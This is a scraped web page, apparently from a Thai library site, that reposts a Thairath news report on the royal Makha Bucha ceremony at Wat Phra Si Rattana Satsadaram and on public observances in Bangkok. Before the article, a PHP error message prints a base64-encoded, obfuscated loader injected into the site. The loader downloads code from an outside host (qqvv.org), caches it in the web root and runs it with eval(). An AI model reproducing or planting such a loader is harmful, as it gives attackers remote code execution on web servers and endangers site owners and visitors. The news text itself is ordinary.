Parse error: syntax error, unexpected 'code' (T_STRING) in data:text/html;base64,PD9waHAgJGZwdD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlJyk/Jy9pbWFnZS8nOihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlcycpPycvaW1hZ2VzLyc6KGlzX2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvaW1nJyk/Jy9pbWcvJzonLy50bXAvJykpKS4nYTMwMGQ0ZGU4ZmI5YmQ4MmFhNTViN2UyMDY2YTlkMjAnOyRkaXI9ZGlybmFtZSgkZnB0KTska3dkPVsnY24ubG9sJywnZ292LmxvbCcsJ29yZy5jZmQnLCdxcXZ2Lm9yZycsJ2NzZW84LmNvbSddOyR1cmw9J2h0dHA6Ly90dy5xcXZ2Lm9yZy90eHQvdHcudHh0JztmdW5jdGlvbiBja3coJGNudCwka3dkKXtmb3JlYWNoKCRrd2QgYXMgJGt3KXtpZihzdHJwb3MoJGNudCwka3cpIT09ZmFsc2Upe3JldHVybiB0cnVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmcmMoJHVybCl7JGNoaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0KCRjaGgsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLHRydWUpOyRkYXQ9Y3VybF9leGVjKCRjaGgpO2lmKGN1cmxfZXJybm8oJGNoaCkpeyRkYXQ9ZmFsc2U7fWN1cmxfY2xvc2UoJGNoaCk7cmV0dXJuICRkYXQ7fWZ1bmN0aW9uIGdjdCgkZnB0LCR1cmwsJGRpcil7aWYoIWlzX2RpcigkZGlyKSl7bWtkaXIoJGRpciwwNzc3LHRydWUpO31pZihmaWxlX2V4aXN0cygkZnB0KSYmKCh0aW1lKCktZmlsZW10aW1lKCRmcHQpKTwzNjAwKSl7JGNwcj1maWxlX2dldF9jb250ZW50cygkZnB0KTtyZXR1cm4gZ3p1bmNvbXByZXNzKCRjcHIpO31lbHNleyRjbnQ9ZnJjKCR1cmwpO2lmKCRjbnQhPT1mYWxzZSl7ZmlsZV9wdXRfY29udGVudHMoJGZwdCxnemNvbXByZXNzKCRjbnQpKTt9cmV0dXJuICRjbnQ7fX0kY250PWdjdCgkZnB0LCR1cmwsJGRpcik7aWYoY2t3KCRjbnQsJGt3ZCkpe2V2YWwoJGNudCk7fWVsc2V7JGNudD1mcmMoJHVybCk7aWYoJGNudCE9PWZhbHNlKXtmaWxlX3B1dF9jb250ZW50cygkZnB0LGd6Y29tcHJlc3MoJGNudCkpO2V2YWwoJGNudCk7fX0gPz4=(1) : eval()'d code on line 1
RDP Library

Admin RDP Library RDPB
14 Feb 2025

"2 ล้นเกล้า" เสด็จบำเพ็ญกุศลมาฆบูชา พระอุโบสถวัดพระศรีรัตนศาสดาราม

พระบาทสมเด็จพระเจ้าอยู่หัวและสมเด็จพระนางเจ้าฯ พระบรมราชินี เสด็จฯ ไปในการพระราชพิธีทรงบำเพ็ญพระราชกุศลมาฆบูชา พุทธศักราช 2568 ณ พระอุโบสถวัดพระศรีรัตนศาสดาราม พระบรมมหาราชวังพร้อมพระราชทานเทียนชนวนถวายเจ้าอาวาสพระอารามหลวง จุดเทียนรุ่งที่ทรงพระราชอุทิศพระราชทานจำนวน 5 พระอารามหลวง ขณะที่พุทธศาสนิกชนไทยแห่ไปทำบุญตักบาตรวันมาฆบูชาและสักการะ “พระเขี้ยวแก้ว” ที่ประดิษฐาน ณ มณฑลพิธีท้องสนามหลวงกันเนืองแน่นตั้งแต่เช้าและร่วมเวียนเทียนรอบพระมณฑป

เมื่อเย็นวันที่ 12 ก.พ. พระบาทสมเด็จพระเจ้า อยู่หัวและสมเด็จพระนางเจ้าฯ พระบรมราชินี เสด็จพระราชดำเนินโดยรถยนต์พระที่นั่ง ไปในการพระราชพิธีทรงบำเพ็ญพระราชกุศลมาฆบูชา พุทธศักราช 2568 ณ พระอุโบสถวัดพระศรีรัตนศาสดาราม พระบรมมหาราชวัง พระบาทสมเด็จพระเจ้าอยู่หัว ทรงจุดเทียนรุ่ง ทรงวางกระทงดอกไม้บนพานหน้าฐานชุกชี ทรงจุดธูปเทียนเครื่องนมัสการท้ายที่นั่ง แล้วทรงจุดเทียนห่วงบูชาพระพุทธมหามณีรัตนปฏิมากร จากนั้นทรงจุดธูปเทียนเครื่องนมัสการท้ายที่นั่งบูชาพระพุทธยอดฟ้าจุฬาโลกย์ และพระพุทธเลิศหล้านภาไลย ทรงจุดธูปเทียนเครื่องนมัสการทองใหญ่ที่หน้าธรรมาสน์ศิลา สมเด็จพระนางเจ้าฯ พระบรมราชินี ทรงจุดธูปเทียนเครื่องนมัสการทองทิศที่หน้าธรรมาสน์ศิลา

พระบาทสมเด็จพระเจ้าอยู่หัว ทรงหยิบเทียนชนวน ที่พลอากาศโท ภักดี แสง-ชูโต รักษาราชการแทนผู้อำนวยการกองพระราชพิธี ทูลเกล้าฯ ถวาย จุดไฟที่โคมไฟฟ้าแล้วพระราชทานเทียนชนวนที่ทรงจุด ให้พลอากาศโทภักดี เชิญไปถวายเจ้าอาวาส พระอารามหลวง จุดเทียนรุ่ง ที่ทรงพระราชอุทิศพระราชทาน จำนวน 5 พระอาราม ได้แก่ วัดบวรนิเวศฯ วัดเบญจมบพิตรฯ วัดราชบพิธฯ วัดราชประดิษฐสถิต มหาสีมารามฯ กรุงเทพมหานคร และวัดนิเวศธรรม ประวัติฯ อ.บางปะอิน จ.พระนครศรีอยุธยา พระสงฆ์ 32 รูป เจริญพระพุทธมนต์ เสร็จแล้วทรงโปรยดอกมะลิที่ธรรมาสน์ศิลา ทรงจุดเทียนดูหนังสือเทศน์ พระราชทานให้เจ้าพนักงานพระราชพิธีเชิญไปตั้งที่ธรรมาสน์

พระบาทสมเด็จพระเจ้าอยู่หัวและสมเด็จ พระนางเจ้าฯ พระบรมราชินี ทรงจุดธูปเทียนเครื่องทรงธรรม ทรงศีล พระเทพวัชรกิตติ ผู้ช่วยเจ้าอาวาสวัดโสมนัสราชวรวิหาร ถวายศีลและถวายพระธรรมเทศนา เรื่อง “โอวาทปาฏิโมกขกถา” จบแล้ว ทรงหลั่งทักษิโณทก แล้วเสด็จฯ ไปทรงประเคนจตุปัจจัยไทยธรรมบูชากัณฑ์เทศน์ และทรงยืนประเคนจตุปัจจัยไทยธรรมถวายพระสงฆ์ที่เจริญพระพุทธมนต์ พระสงฆ์ถวายอดิเรกจบแล้ว พระบาทสมเด็จ พระเจ้าอยู่หัวและสมเด็จพระนางเจ้าฯ พระบรมราชินี ทรงกราบที่หน้าเครื่องนมัสการ แล้วเสด็จออกจากพระอุโบสถ ไปประทับรถยนต์พระที่นั่ง เสด็จฯ กลับพระที่นั่งอัมพรสถาน พระราชวังดุสิต

ส่วนบรรยากาศวันมาฆบูชา ตลอดทั้งวันที่ 12 ก.พ. ประชาชนชาวพุทธใน กทม.จำนวนมากพากันนุ่งขาวห่มขาว ทำกิจกรรมทางศาสนา เนื่องในวันมาฆบูชา ไม่ว่าจะเป็นการไปทำบุญตักบาตร สวดมนต์ ฟังพระธรรมเทศนา ในช่วงเช้าและเวียนเทียนในช่วงค่ำ ตามวัดวาอารามต่างๆ ในปีนี้วัดพระอารามหลวง หลายวัดใน กทม. เช่น วัดอรุณฯ วัดพระเชตุพนฯ วัดมหาธาตุยุวราชรังสฤษฎิ์ วัดเบญจมบพิตร และวัดประยุรวงศาวาส ฯลฯ ได้ร่วมกับมูลนิธิปลูกต้นไม้ ปลูกธรรมะ กรุงเทพมหานคร กรมป่าไม้ กรมอุทยานแห่งชาติสัตว์ป่าและพันธุ์พืช สำนักงานกองทุนสร้างเสริมสุขภาพ (สสส.) จัดกิจกรรมเวียนเทียนด้วยต้นไม้ลดการจุดธูปเทียน ด้วยการให้พุทธศาสนิกชนร่วมกันสนับสนุนซื้อกล้าพันธุ์ไม้ ถือเดินเวียนรอบอุโบสถ 3 รอบ เช่นเดียวกับการเวียนเทียนทั่วไป และนำกลับไปปลูกที่บ้านเพื่อเป็นสิริมงคล หรือนำไปบริจาคปลูกต่อยังวัดสาขาได้เลย รวมถึงสถานปฏิบัติธรรมในต่างจังหวัด

ขณะที่วัดเบญจมบพิตรฯ มีพุทธศาสนิกชน มาสักการะพระประธานและสิ่งศักดิ์สิทธิ์ในพระอุโบสถภายในวัด ปล่อยนกปล่อยปลาและร่วมเวียนเทียนอย่างคึกคัก ขณะที่วัดสระเกศ มีพุทธศาสนิกชนทั้งชาวไทยและชาวต่างชาติ ขึ้นไปไหว้พระทำบุญเวียนเทียนรอบเจดีย์ภูเขาทอง ส่วนที่วัดบวรนิเวศวิหารและวัดราชบพิตร มีประชาชนในละแวกใกล้เคียงและบรรดาศิษยานุศิษย์ เดินทางมาสวดมนต์และสักการะพระราชสรีรางคาร พระบาทสมเด็จพระปรมินทรมหา ภูมิพลอดุลยเดชที่พระอุโบสถ รวมทั้งเวียนเทียนอย่างเนืองแน่นเช่นกัน

 

ที่ท้องสนามหลวง ตั้งแต่ช่วงเช้าตรู่ มีพุทธ ศาสนิกชนสวมใส่ชุดขาว นำข้าวสารอาหารแห้งมาตักบาตรพระสงฆ์ 73 รูป และนำดอกไม้เดินเวียนเทียน สักการะพระบรมสารีริกธาตุ (พระเขี้ยวแก้ว) จากสาธารณรัฐประชาชนจีน ที่มาประดิษฐาน ณ ประเทศไทย เป็นการชั่วคราว เพื่อเฉลิมพระเกียรติพระบาทสมเด็จ พระเจ้าอยู่หัว เนื่องในโอกาสพระราชพิธีมหามงคล 6 รอบ 28 กรกฎาคม 2567 และในวาระครบรอบ 50 ปี การสถาปนาความสัมพันธ์ทางการทูตระหว่างประเทศไทยกับสาธารณรัฐประชาชนจีน กันอย่างเนืองแน่นทั้งช่วงเช้าไปจนถึงช่วงค่ำ

..........................................

 

ข้อมูลโดย ไทยรัฐออนไลน์ 13 ก.พ. 2568 08:59 น.